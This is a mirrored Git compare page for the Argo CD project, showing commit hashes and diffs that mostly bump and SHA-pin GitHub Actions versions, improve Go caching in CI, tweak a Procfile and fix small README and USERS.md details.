mirror of
https://github.com/argoproj/argo-cd.git
synced 2026-03-31 13:58:51 +02:00
Compare commits
80 Commits
v3.4.0-rc4
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e96063557a | ||
|
|
bfe5cfb587 | ||
|
|
393152ddad | ||
|
|
1042e12c6a | ||
|
|
0191c1684d | ||
|
|
ab0070994b | ||
|
|
da7a61b75c | ||
|
|
a892317c67 | ||
|
|
303e001b8b | ||
|
|
d75a6b1523 | ||
|
|
1dc2ad04ff | ||
|
|
9ceaf0e8ee | ||
|
|
6a22728fd5 | ||
|
|
0c02de795e | ||
|
|
8e0b6e689a | ||
|
|
5aa83735f2 | ||
|
|
36f4ff7f35 | ||
|
|
99c51dfd2c | ||
|
|
a4c7f82c5b | ||
|
|
759e746e87 | ||
|
|
94d8ba92a8 | ||
|
|
b532528a0b | ||
|
|
8705f6965e | ||
|
|
4aeca2fbf8 | ||
|
|
2bbf91c0cf | ||
|
|
84442e03bc | ||
|
|
f97e2d2844 | ||
|
|
e972bfca78 | ||
|
|
1b405ce2b5 | ||
|
|
45b926d796 | ||
|
|
d4ec3282d4 | ||
|
|
4e3904a554 | ||
|
|
8981a5b855 | ||
|
|
ab27dd3ccf | ||
|
|
269e0b850b | ||
|
|
3f15cc6c9e | ||
|
|
25df43d7a0 | ||
|
|
6b35246605 | ||
|
|
bd7b16cbeb | ||
|
|
e1bb509264 | ||
|
|
3570031fa8 | ||
|
|
3eee5e3f52 | ||
|
|
77732d89b3 | ||
|
|
4aabf526c8 | ||
|
|
24c3abd8dd | ||
|
|
91d83d37c4 | ||
|
|
aabe8524ba | ||
|
|
fe30b2c60a | ||
|
|
148c86ad42 | ||
|
|
30db355197 | ||
|
|
442aed496f | ||
|
|
87ccebc51a | ||
|
|
20439902eb | ||
|
|
559da44135 | ||
|
|
a87aab146e | ||
|
|
d34e83f60c | ||
|
|
566c172058 | ||
|
|
d80a122502 | ||
|
|
539c35b295 | ||
|
|
45a84dfa38 | ||
|
|
d011b7b508 | ||
|
|
f1b922765d | ||
|
|
4b4bbc8bb2 | ||
|
|
c5d1c914bb | ||
|
|
59aea0476a | ||
|
|
4cdc650a58 | ||
|
|
2b6489828b | ||
|
|
92c3ef2559 | ||
|
|
4070b6feea | ||
|
|
67db597810 | ||
|
|
5b3073986f | ||
|
|
5ceb8354e6 | ||
|
|
79922c06d6 | ||
|
|
382c507beb | ||
|
|
8142920ab8 | ||
|
|
47a0746851 | ||
|
|
13cd517470 | ||
|
|
63a009effa | ||
|
|
5a6c83229b | ||
|
|
f409135f17 |
3
.github/configs/renovate-config.js
vendored
3
.github/configs/renovate-config.js
vendored
@@ -11,6 +11,7 @@ module.exports = {
|
||||
"github>argoproj/argo-cd//renovate-presets/custom-managers/yaml.json5",
|
||||
"github>argoproj/argo-cd//renovate-presets/fix/disable-all-updates.json5",
|
||||
"github>argoproj/argo-cd//renovate-presets/devtool.json5",
|
||||
"github>argoproj/argo-cd//renovate-presets/docs.json5"
|
||||
"github>argoproj/argo-cd//renovate-presets/docs.json5",
|
||||
"group:aws-sdk-go-v2Monorepo"
|
||||
]
|
||||
}
|
||||
2
.github/workflows/bump-major-version.yaml
vendored
2
.github/workflows/bump-major-version.yaml
vendored
@@ -37,7 +37,7 @@ jobs:
|
||||
working-directory: /home/runner/go/src/github.com/argoproj/argo-cd
|
||||
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Add ~/go/bin to PATH
|
||||
|
||||
14
.github/workflows/cherry-pick-single.yml
vendored
14
.github/workflows/cherry-pick-single.yml
vendored
@@ -32,7 +32,7 @@ jobs:
|
||||
steps:
|
||||
- name: Generate a token
|
||||
id: generate-token
|
||||
uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
|
||||
uses: actions/create-github-app-token@fee1f7d63c2ff003460e3d139729b119787bc349 # v2.2.2
|
||||
with:
|
||||
app-id: ${{ secrets.CHERRYPICK_APP_ID }}
|
||||
private-key: ${{ secrets.CHERRYPICK_APP_PRIVATE_KEY }}
|
||||
@@ -66,6 +66,7 @@ jobs:
|
||||
|
||||
# Create new branch for cherry-pick
|
||||
CHERRY_PICK_BRANCH="cherry-pick-${{ inputs.pr_number }}-to-${TARGET_BRANCH}"
|
||||
|
||||
git checkout -b "$CHERRY_PICK_BRANCH" "origin/$TARGET_BRANCH"
|
||||
|
||||
# Perform cherry-pick
|
||||
@@ -75,12 +76,17 @@ jobs:
|
||||
# Extract Signed-off-by from the cherry-pick commit
|
||||
SIGNOFF=$(git log -1 --pretty=format:"%B" | grep -E '^Signed-off-by:' || echo "")
|
||||
|
||||
# Push the new branch
|
||||
git push origin "$CHERRY_PICK_BRANCH"
|
||||
# Push the new branch. Force push to ensure that in case the original cherry-pick branch is stale,
|
||||
# that the current state of the $TARGET_BRANCH + cherry-pick gets in $CHERRY_PICK_BRANCH.
|
||||
git push origin -f "$CHERRY_PICK_BRANCH"
|
||||
|
||||
# Save data for PR creation
|
||||
echo "branch_name=$CHERRY_PICK_BRANCH" >> "$GITHUB_OUTPUT"
|
||||
echo "signoff=$SIGNOFF" >> "$GITHUB_OUTPUT"
|
||||
{
|
||||
echo "signoff<<EOF"
|
||||
echo "$SIGNOFF"
|
||||
echo "EOF"
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
echo "target_branch=$TARGET_BRANCH" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "❌ Cherry-pick failed due to conflicts"
|
||||
|
||||
84
.github/workflows/ci-build.yaml
vendored
84
.github/workflows/ci-build.yaml
vendored
@@ -57,7 +57,7 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Download all Go modules
|
||||
@@ -77,15 +77,19 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Restore go build cache
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
- name: Restore go build and module cache
|
||||
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
|
||||
with:
|
||||
path: ~/.cache/go-build
|
||||
key: ${{ runner.os }}-go-build-v1-${{ github.run_id }}
|
||||
- name: Download all Go modules
|
||||
path: |
|
||||
~/.cache/go-build
|
||||
~/go/pkg/mod
|
||||
key: ${{ runner.os }}-go-build-v1-${{ hashFiles('**/go.sum') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-go-build-v1-
|
||||
- name: Download Go modules
|
||||
run: |
|
||||
go mod download
|
||||
- name: Compile all packages
|
||||
@@ -104,14 +108,14 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Run golangci-lint
|
||||
uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9.2.0
|
||||
with:
|
||||
# renovate: datasource=go packageName=github.com/golangci/golangci-lint/v2 versioning=regex:^v(?<major>\d+)\.(?<minor>\d+)\.(?<patch>\d+)?$
|
||||
version: v2.11.3
|
||||
version: v2.11.4
|
||||
args: --verbose
|
||||
|
||||
test-go:
|
||||
@@ -132,7 +136,7 @@ jobs:
|
||||
- name: Create symlink in GOPATH
|
||||
run: ln -s $(pwd) ~/go/src/github.com/argoproj/argo-cd
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Install required packages
|
||||
@@ -151,11 +155,15 @@ jobs:
|
||||
- name: Add /usr/local/bin to PATH
|
||||
run: |
|
||||
echo "/usr/local/bin" >> $GITHUB_PATH
|
||||
- name: Restore go build cache
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
- name: Restore go build and module cache
|
||||
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
|
||||
with:
|
||||
path: ~/.cache/go-build
|
||||
key: ${{ runner.os }}-go-build-v1-${{ github.run_id }}
|
||||
path: |
|
||||
~/.cache/go-build
|
||||
~/go/pkg/mod
|
||||
key: ${{ runner.os }}-go-build-v1-${{ hashFiles('**/go.sum') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-go-build-v1-
|
||||
- name: Install all tools required for building & testing
|
||||
run: |
|
||||
make install-test-tools-local
|
||||
@@ -167,7 +175,7 @@ jobs:
|
||||
run: |
|
||||
git config --global user.name "John Doe"
|
||||
git config --global user.email "john.doe@example.com"
|
||||
- name: Download and vendor all required packages
|
||||
- name: Download Go modules
|
||||
run: |
|
||||
go mod download
|
||||
- name: Run all unit tests
|
||||
@@ -196,7 +204,7 @@ jobs:
|
||||
- name: Create symlink in GOPATH
|
||||
run: ln -s $(pwd) ~/go/src/github.com/argoproj/argo-cd
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Install required packages
|
||||
@@ -215,11 +223,15 @@ jobs:
|
||||
- name: Add /usr/local/bin to PATH
|
||||
run: |
|
||||
echo "/usr/local/bin" >> $GITHUB_PATH
|
||||
- name: Restore go build cache
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
- name: Restore go build and module cache
|
||||
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
|
||||
with:
|
||||
path: ~/.cache/go-build
|
||||
key: ${{ runner.os }}-go-build-v1-${{ github.run_id }}
|
||||
path: |
|
||||
~/.cache/go-build
|
||||
~/go/pkg/mod
|
||||
key: ${{ runner.os }}-go-build-v1-${{ hashFiles('**/go.sum') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-go-build-v1-
|
||||
- name: Install all tools required for building & testing
|
||||
run: |
|
||||
make install-test-tools-local
|
||||
@@ -231,7 +243,7 @@ jobs:
|
||||
run: |
|
||||
git config --global user.name "John Doe"
|
||||
git config --global user.email "john.doe@example.com"
|
||||
- name: Download and vendor all required packages
|
||||
- name: Download Go modules
|
||||
run: |
|
||||
go mod download
|
||||
- name: Run all unit tests
|
||||
@@ -252,7 +264,7 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Create symlink in GOPATH
|
||||
@@ -315,7 +327,7 @@ jobs:
|
||||
node-version: '22.9.0'
|
||||
- name: Restore node dependency cache
|
||||
id: cache-dependencies
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
|
||||
with:
|
||||
path: ui/node_modules
|
||||
key: ${{ runner.os }}-node-dep-v2-${{ hashFiles('**/yarn.lock') }}
|
||||
@@ -365,7 +377,7 @@ jobs:
|
||||
fetch-depth: 0
|
||||
- name: Restore node dependency cache
|
||||
id: cache-dependencies
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
|
||||
with:
|
||||
path: ui/node_modules
|
||||
key: ${{ runner.os }}-node-dep-v2-${{ hashFiles('**/yarn.lock') }}
|
||||
@@ -392,7 +404,7 @@ jobs:
|
||||
- name: Upload code coverage information to codecov.io
|
||||
# Only run when the workflow is for upstream (PR target or push is in argoproj/argo-cd).
|
||||
if: github.repository == 'argoproj/argo-cd'
|
||||
uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
|
||||
uses: codecov/codecov-action@57e3a136b779b570ffcdbf80b3bdc90e7fab3de2 # v6.0.0
|
||||
with:
|
||||
files: test-results/full-coverage.out
|
||||
fail_ci_if_error: true
|
||||
@@ -401,7 +413,7 @@ jobs:
|
||||
- name: Upload test results to Codecov
|
||||
# Codecov uploads test results to Codecov.io on upstream master branch.
|
||||
if: github.repository == 'argoproj/argo-cd' && github.ref == 'refs/heads/master' && github.event_name == 'push'
|
||||
uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
|
||||
uses: codecov/codecov-action@57e3a136b779b570ffcdbf80b3bdc90e7fab3de2 # v6.0.0
|
||||
with:
|
||||
files: test-results/junit.xml
|
||||
fail_ci_if_error: true
|
||||
@@ -454,7 +466,7 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
- name: Set GOPATH
|
||||
@@ -475,11 +487,15 @@ jobs:
|
||||
sudo chown $(whoami) $HOME/.kube/config
|
||||
sudo chmod go-r $HOME/.kube/config
|
||||
kubectl version
|
||||
- name: Restore go build cache
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
- name: Restore go build and module cache
|
||||
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4
|
||||
with:
|
||||
path: ~/.cache/go-build
|
||||
key: ${{ runner.os }}-go-build-v1-${{ github.run_id }}
|
||||
path: |
|
||||
~/.cache/go-build
|
||||
~/go/pkg/mod
|
||||
key: ${{ runner.os }}-go-build-v1-${{ hashFiles('**/go.sum') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-go-build-v1-
|
||||
- name: Add ~/go/bin to PATH
|
||||
run: |
|
||||
echo "$HOME/go/bin" >> $GITHUB_PATH
|
||||
@@ -489,10 +505,12 @@ jobs:
|
||||
- name: Add ./dist to PATH
|
||||
run: |
|
||||
echo "$(pwd)/dist" >> $GITHUB_PATH
|
||||
- name: Download Go dependencies
|
||||
- name: Download Go modules
|
||||
run: |
|
||||
go mod download
|
||||
go install github.com/mattn/goreman@latest
|
||||
- name: Install goreman
|
||||
run: |
|
||||
go install github.com/mattn/goreman@v0.3.17
|
||||
- name: Install all tools required for building & testing
|
||||
run: |
|
||||
make install-test-tools-local
|
||||
|
||||
2
.github/workflows/codeql.yml
vendored
2
.github/workflows/codeql.yml
vendored
@@ -44,7 +44,7 @@ jobs:
|
||||
|
||||
# Use correct go version. https://github.com/github/codeql-action/issues/1842#issuecomment-1704398087
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
|
||||
|
||||
18
.github/workflows/image-reuse.yaml
vendored
18
.github/workflows/image-reuse.yaml
vendored
@@ -67,16 +67,26 @@ jobs:
|
||||
if: ${{ github.ref_type != 'tag'}}
|
||||
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ inputs.go-version }}
|
||||
cache: false
|
||||
|
||||
- name: Install cosign
|
||||
uses: sigstore/cosign-installer@ba7bc0a3fef59531c69a25acd34668d6d3fe6f22 # v4.1.0
|
||||
uses: sigstore/cosign-installer@cad07c2e89fa2edd6e2d7bab4c1aa38e53f76003 # v4.1.1
|
||||
|
||||
- uses: docker/setup-qemu-action@ce360397dd3f832beb865e1373c09c0e9f86d70a # v4.0.0
|
||||
- uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
|
||||
- name: Setup QEMU
|
||||
uses: docker/setup-qemu-action@ce360397dd3f832beb865e1373c09c0e9f86d70a # v4.0.0
|
||||
with:
|
||||
image: tonistiigi/binfmt@sha256:d3b963f787999e6c0219a48dba02978769286ff61a5f4d26245cb6a6e5567ea3 #qemu-v10.0.4
|
||||
|
||||
- name: Setup Docker Buildx
|
||||
uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
|
||||
with:
|
||||
# buildkit v0.28.1
|
||||
driver-opts: |
|
||||
image=moby/buildkit@sha256:a82d1ab899cda51aade6fe818d71e4b58c4079e047a0cf29dbb93b2b0465ea69
|
||||
|
||||
|
||||
- name: Setup tags for container image as a CSV type
|
||||
run: |
|
||||
|
||||
8
.github/workflows/release.yaml
vendored
8
.github/workflows/release.yaml
vendored
@@ -133,7 +133,7 @@ jobs:
|
||||
run: git fetch --force --tags
|
||||
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
cache: false
|
||||
@@ -162,7 +162,7 @@ jobs:
|
||||
uses: goreleaser/goreleaser-action@ec59f474b9834571250b370d4735c50f8e2d1e29 # v7.0.0
|
||||
id: run-goreleaser
|
||||
with:
|
||||
version: latest
|
||||
version: v2.14.3
|
||||
args: release --clean --timeout 55m
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -219,7 +219,7 @@ jobs:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Setup Golang
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6.3.0
|
||||
uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0
|
||||
with:
|
||||
go-version: ${{ env.GOLANG_VERSION }}
|
||||
cache: false
|
||||
@@ -264,7 +264,7 @@ jobs:
|
||||
echo "hashes=$(sha256sum /tmp/sbom.tar.gz | base64 -w0)" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Upload SBOM
|
||||
uses: softprops/action-gh-release@a06a81a03ee405af7f2048a818ed3f03bbf83c7b # v2.5.0
|
||||
uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2.6.1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
|
||||
8
.github/workflows/renovate.yaml
vendored
8
.github/workflows/renovate.yaml
vendored
@@ -22,11 +22,17 @@ jobs:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # 6.0.2
|
||||
|
||||
# Renovate do not pin their docker image versions to SHA, so
|
||||
# when bumping renovate action version please check if renovate image
|
||||
# has been updated (see it's numeric version in action.yaml)
|
||||
# and update `renovate-version` parameter accordingly
|
||||
- name: Self-hosted Renovate
|
||||
uses: renovatebot/github-action@abd08c7549b2a864af5df4a2e369c43f035a6a9d #46.1.5
|
||||
uses: renovatebot/github-action@3633cede7d4d4598438e654eac4a695e46004420 #46.1.7
|
||||
with:
|
||||
configurationFile: .github/configs/renovate-config.js
|
||||
token: '${{ steps.get_token.outputs.token }}'
|
||||
renovate-image: "ghcr.io/renovatebot/renovate@sha256"
|
||||
renovate-version: "5dfeab680f40edd2713b8fcae574824e60d2c831b8d89cc965e51621894c7084" #43
|
||||
env:
|
||||
LOG_LEVEL: 'debug'
|
||||
RENOVATE_REPOSITORIES: '${{ github.repository }}'
|
||||
|
||||
2
Procfile
2
Procfile
@@ -2,7 +2,7 @@ controller: [ "$BIN_MODE" = 'true' ] && COMMAND=./dist/argocd || COMMAND='go run
|
||||
api-server: [ "$BIN_MODE" = 'true' ] && COMMAND=./dist/argocd || COMMAND='go run ./cmd/main.go' && sh -c "GOCOVERDIR=${ARGOCD_COVERAGE_DIR:-/tmp/coverage/api-server} FORCE_LOG_COLORS=1 ARGOCD_FAKE_IN_CLUSTER=true ARGOCD_TLS_DATA_PATH=${ARGOCD_TLS_DATA_PATH:-/tmp/argocd-local/tls} ARGOCD_SSH_DATA_PATH=${ARGOCD_SSH_DATA_PATH:-/tmp/argocd-local/ssh} ARGOCD_BINARY_NAME=argocd-server $COMMAND --loglevel debug --redis localhost:${ARGOCD_E2E_REDIS_PORT:-6379} --disable-auth=${ARGOCD_E2E_DISABLE_AUTH:-'true'} --insecure --dex-server http://localhost:${ARGOCD_E2E_DEX_PORT:-5556} --repo-server localhost:${ARGOCD_E2E_REPOSERVER_PORT:-8081} --port ${ARGOCD_E2E_APISERVER_PORT:-8080} --otlp-address=${ARGOCD_OTLP_ADDRESS} --application-namespaces=${ARGOCD_APPLICATION_NAMESPACES:-''} --hydrator-enabled=${ARGOCD_HYDRATOR_ENABLED:='false'}"
|
||||
dex: sh -c "ARGOCD_BINARY_NAME=argocd-dex go run github.com/argoproj/argo-cd/v3/cmd gendexcfg -o `pwd`/dist/dex.yaml && (test -f dist/dex.yaml || { echo 'Failed to generate dex configuration'; exit 1; }) && docker run --rm -p ${ARGOCD_E2E_DEX_PORT:-5556}:${ARGOCD_E2E_DEX_PORT:-5556} -v `pwd`/dist/dex.yaml:/dex.yaml ghcr.io/dexidp/dex:$(grep "image: ghcr.io/dexidp/dex:v2.45.0" manifests/base/dex/argocd-dex-server-deployment.yaml | cut -d':' -f3) dex serve /dex.yaml"
|
||||
redis: hack/start-redis-with-password.sh
|
||||
repo-server: [ "$BIN_MODE" = 'true' ] && COMMAND=./dist/argocd || COMMAND='go run ./cmd/main.go' && sh -c "export PATH=./dist:\$PATH && [ -n \"\$ARGOCD_GIT_CONFIG\" ] && export GIT_CONFIG_GLOBAL=\$ARGOCD_GIT_CONFIG && export GIT_CONFIG_NOSYSTEM=1; GOCOVERDIR=${ARGOCD_COVERAGE_DIR:-/tmp/coverage/repo-server} FORCE_LOG_COLORS=1 ARGOCD_FAKE_IN_CLUSTER=true ARGOCD_GNUPGHOME=${ARGOCD_GNUPGHOME:-/tmp/argocd-local/gpg/keys} ARGOCD_PLUGINSOCKFILEPATH=${ARGOCD_PLUGINSOCKFILEPATH:-./test/cmp} ARGOCD_GPG_DATA_PATH=${ARGOCD_GPG_DATA_PATH:-/tmp/argocd-local/gpg/source} ARGOCD_TLS_DATA_PATH=${ARGOCD_TLS_DATA_PATH:-/tmp/argocd-local/tls} ARGOCD_SSH_DATA_PATH=${ARGOCD_SSH_DATA_PATH:-/tmp/argocd-local/ssh} ARGOCD_BINARY_NAME=argocd-repo-server ARGOCD_GPG_ENABLED=${ARGOCD_GPG_ENABLED:-false} $COMMAND --loglevel debug --port ${ARGOCD_E2E_REPOSERVER_PORT:-8081} --redis localhost:${ARGOCD_E2E_REDIS_PORT:-6379} --otlp-address=${ARGOCD_OTLP_ADDRESS}"
|
||||
repo-server: [ "$BIN_MODE" = 'true' ] && COMMAND=./dist/argocd || COMMAND='go run ./cmd/main.go' && sh -c "export PATH=\$(pwd)/dist:\$PATH && [ -n \"\$ARGOCD_GIT_CONFIG\" ] && export GIT_CONFIG_GLOBAL=\$ARGOCD_GIT_CONFIG && export GIT_CONFIG_NOSYSTEM=1; GOCOVERDIR=${ARGOCD_COVERAGE_DIR:-/tmp/coverage/repo-server} FORCE_LOG_COLORS=1 ARGOCD_FAKE_IN_CLUSTER=true ARGOCD_GNUPGHOME=${ARGOCD_GNUPGHOME:-/tmp/argocd-local/gpg/keys} ARGOCD_PLUGINSOCKFILEPATH=${ARGOCD_PLUGINSOCKFILEPATH:-./test/cmp} ARGOCD_GPG_DATA_PATH=${ARGOCD_GPG_DATA_PATH:-/tmp/argocd-local/gpg/source} ARGOCD_TLS_DATA_PATH=${ARGOCD_TLS_DATA_PATH:-/tmp/argocd-local/tls} ARGOCD_SSH_DATA_PATH=${ARGOCD_SSH_DATA_PATH:-/tmp/argocd-local/ssh} ARGOCD_BINARY_NAME=argocd-repo-server ARGOCD_GPG_ENABLED=${ARGOCD_GPG_ENABLED:-false} $COMMAND --loglevel debug --port ${ARGOCD_E2E_REPOSERVER_PORT:-8081} --redis localhost:${ARGOCD_E2E_REDIS_PORT:-6379} --otlp-address=${ARGOCD_OTLP_ADDRESS}"
|
||||
cmp-server: [ "$ARGOCD_E2E_TEST" = 'true' ] && exit 0 || [ "$BIN_MODE" = 'true' ] && COMMAND=./dist/argocd || COMMAND='go run ./cmd/main.go' && sh -c "FORCE_LOG_COLORS=1 ARGOCD_FAKE_IN_CLUSTER=true ARGOCD_BINARY_NAME=argocd-cmp-server ARGOCD_PLUGINSOCKFILEPATH=${ARGOCD_PLUGINSOCKFILEPATH:-./test/cmp} $COMMAND --config-dir-path ./test/cmp --loglevel debug --otlp-address=${ARGOCD_OTLP_ADDRESS}"
|
||||
commit-server: [ "$BIN_MODE" = 'true' ] && COMMAND=./dist/argocd || COMMAND='go run ./cmd/main.go' && sh -c "GOCOVERDIR=${ARGOCD_COVERAGE_DIR:-/tmp/coverage/commit-server} FORCE_LOG_COLORS=1 ARGOCD_BINARY_NAME=argocd-commit-server $COMMAND --loglevel debug --port ${ARGOCD_E2E_COMMITSERVER_PORT:-8086}"
|
||||
ui: sh -c 'cd ui && ${ARGOCD_E2E_YARN_CMD:-yarn} start'
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
|
||||
## What is Argo CD?
|
||||
|
||||
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
|
||||
Argo CD is a declarative GitOps continuous delivery tool for Kubernetes.
|
||||
|
||||

|
||||
|
||||
@@ -45,7 +45,7 @@ Check live demo at https://cd.apps.argoproj.io/.
|
||||
|
||||
You can reach the Argo CD community and developers via the following channels:
|
||||
|
||||
* Q & A : [Github Discussions](https://github.com/argoproj/argo-cd/discussions)
|
||||
* Q & A : [GitHub Discussions](https://github.com/argoproj/argo-cd/discussions)
|
||||
* Chat : [The #argo-cd Slack channel](https://argoproj.github.io/community/join-slack)
|
||||
* Contributors Office Hours: [Every Thursday](https://calendar.google.com/calendar/u/0/embed?src=argoproj@gmail.com) | [Agenda](https://docs.google.com/document/d/1xkoFkVviB70YBzSEa4bDnu-rUZ1sIFtwKKG1Uw8XsY8)
|
||||
* User Community meeting: [First Wednesday of the month](https://calendar.google.com/calendar/u/0/embed?src=argoproj@gmail.com) | [Agenda](https://docs.google.com/document/d/1ttgw98MO45Dq7ZUHpIiOIEfbyeitKHNfMjbY5dLLMKQ)
|
||||
|
||||
@@ -3,9 +3,9 @@ header:
|
||||
expiration-date: '2024-10-31T00:00:00.000Z' # One year from initial release.
|
||||
last-updated: '2023-10-27'
|
||||
last-reviewed: '2023-10-27'
|
||||
commit-hash: 814db444c36503851dc3d45cf9c44394821ca1a4
|
||||
commit-hash: d91a2ab3bf1b1143fb273fa06f54073fc78f41f1
|
||||
project-url: https://github.com/argoproj/argo-cd
|
||||
project-release: v3.4.0
|
||||
project-release: v3.5.0
|
||||
changelog: https://github.com/argoproj/argo-cd/releases
|
||||
license: https://github.com/argoproj/argo-cd/blob/master/LICENSE
|
||||
project-lifecycle:
|
||||
|
||||
2
USERS.md
2
USERS.md
@@ -240,6 +240,7 @@ Currently, the following organizations are **officially** using Argo CD:
|
||||
1. [Mission Lane](https://missionlane.com)
|
||||
1. [mixi Group](https://mixi.co.jp/)
|
||||
1. [Moengage](https://www.moengage.com/)
|
||||
1. [Mollie](https://www.mollie.com/)
|
||||
1. [Money Forward](https://corp.moneyforward.com/en/)
|
||||
1. [MongoDB](https://www.mongodb.com/)
|
||||
1. [MOO Print](https://www.moo.com/)
|
||||
@@ -380,6 +381,7 @@ Currently, the following organizations are **officially** using Argo CD:
|
||||
